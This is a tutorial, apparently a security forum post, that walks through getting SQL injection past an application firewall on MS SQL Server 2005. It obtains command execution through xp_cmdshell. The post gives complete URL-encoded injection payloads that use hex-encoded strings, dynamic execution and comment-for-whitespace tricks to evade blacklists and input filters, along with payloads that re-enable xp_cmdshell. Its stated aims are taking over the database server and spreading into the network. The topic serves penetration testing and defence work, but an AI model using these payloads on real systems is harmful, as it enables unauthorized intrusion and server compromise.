The Situation:
You have a web application (say, http://hackme.com).
You've identified a page on it that is vulnerable to SQL Injection (say, http://hackme.com/hacked.cfm?id=123)
Your Knowledge (via error messages and/or information gathering):
The target is running MS SQL Server 2005
The target is running an application firewall (let's say ISS, though it could just as easily be Barracuda or others)
The "id" field in the URL is passed verbatim into a dynamic SQL query as an integer (bad developer, no cookie!)
The developer (not wanting to be hacked), passes all user input through a filter that pads single quotes (adding an additional single quote so that it's treated as a literal)
The developer (really not wanting to be hacked), strips all whitespace (internal and external) from input
Developers being developers, we believe that the web application connects to the database as a user with administrative privileges
Your Goals:
Get access to the command line on the database server (via xp_cmdshell, of course)
Take over the server
Expand your access out into the network
Conquer the planet
For the purposes of this discussion, we'll leave it at wanting to get something along the following lines to execute in the database:
exec master..xp_cmdshell 'echo pwn3d>hack.txt'
Not terribly exciting, but it shows all the access we need to accomplish all of the above (with the possible exception of conquering the planet).
Problems:
Every application firewall on the planet will pick up on xp_cmdshell
Padding of single quotes, while not preventing us from injecting on a numeric field, does make life difficult for passing string-based arguments to functions in our SQL
Removing all whitespace from our input ticks us off and prevents normal SQL from executing
MS SQL Server 2005 disables xp_cmdshell by default. It has to be explicitly enabled before anyone (even sa) can call it.
The Hack:
First off, we deal with those pesky single quotes. Little known fact: SQL Server will treat hex as a varchar. So the following are equivalent:
'echo pwn3d>hack.txt'
0x6563686F2070776E33643E6861636B2E747874
This changes the string that we want to execute to:
exec master..xp_cmdshell 0x6563686F2070776E33643E6861636B2E747874
Ok...so far so good (no single quotes)....but there's still that application firewall (that hideously expensive appliance designed to keep us from doing exactly what we're looking to do).
Application firewalls (even the big, expensive ones) effectively operate off of black lists. Powerful, somewhat dynamic black lists, but black lists nonetheless. While they will definitely pick up on "xp_cmdshell", we may be able to write things in a way that they don't know about.
Enter Transact SQL (in this case)....plus a second little known fact: the "exec" statement can take an nvarchar as an argument. So we write some TSQL (note, the hex for xp_cmdshell is 0x78705F636D647368656C6C):
Code: Select all
declare @v as varchar(2048)
declare @n as nvarchar(2048)
set @v = 0x78705F636D647368656C6C
set @n = cast(@v as nvarchar)
set @v = 0x6563686F2070776E33643E6861636B2E747874
execute @n @v
I use "execute" rather than "exec" as some application firewalls (*cough*Barracuda*cough*) will pick up on "exec" as perl command line injection.
Finally, we deal with that pesky stripping of whitespace. Little known fact number 3: SQL Server will treat inline comments as whitespace, so "SELECT * FROM sysobjects" and "SELECT/**/*/**/FROM/**/sysobjects" are the same. Applying this to our TSQL, we get the marvelously hideous string:
Code: Select all
declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/=/**/0x78705F636D647368656C6C
/**/set/**/@n=cast(@v/**/as/**/nvarchar)/**/set/**/@v=0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v
Code: Select all
http://hackme.com/hack.cfm?id=1;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**
/%3d/**/0x78705F636D647368656C6C/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v;+--
Never fear, this is why life is fun. If you have admin privileges, you can enable xp_cmdshell via the following:
sp_configure 'show advanced options',1
reconfigure
sp_configure 'xp_cmdshell',1
reconfigure
Note that you can't call CONFIG (a.k.a. reconfigure) during a user transaction, so you'll want to do some commits.
Applying what we learned above, we can make a new statement:
Code: Select all
http://hackme.com/hack.cfm?id=1;commit;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x73705F636F6E666967757265/**/set
/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x73686F7720616476616E636564206F7074696F6E73/**/execute/**/@n/**/@v,1;commit;reconfigure;declare/**/@v/**/as/**/varchar(2048)
/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**/0x73705F636F6E666967757265/**/set/**/@n%3dcast(@v/**/as/**/nvarchar)/**/set/**/@v%3d0x78705F636D647368656C6C/**
/execute/**/@n/**/@v,1;commit;reconfigure;+--
Code: Select all
http://hackme.com/hack.cfm?id=1;declare/**/@v/**/as/**/varchar(2048)/**/declare/**/@n/**/as/**/nvarchar(2048)/**/set/**/@v/**/%3d/**
/0x78705F636D647368656C6C/**/set/**/@n%3dcast(@v/**/as
/**/nvarchar)/**/set/**/@v%3d0x6563686F2070776E33643E6861636B2E747874/**/execute/**/@n/**/@v;+--
Conclusions:
The above code is one means to an end. There's a large number of variations on this (PL-SQL, Java, other forms of T-SQL, etc.). The main gist is that you're passing information into the App Firewall that it has no idea what to do with (it's not in the black list), so it lets it go. This is not a flaw in the application firewall....it's just the nature of the beast.
If you can get one of the T-SQL statements to go through, you can execute any SQL that you want -- all of the actual "work" is done in the hex strings.
I've done pretty much this exact attack on numerous clients (most recently just this week) to take over the database server, establish a command shell, and proceed to expand out into the network.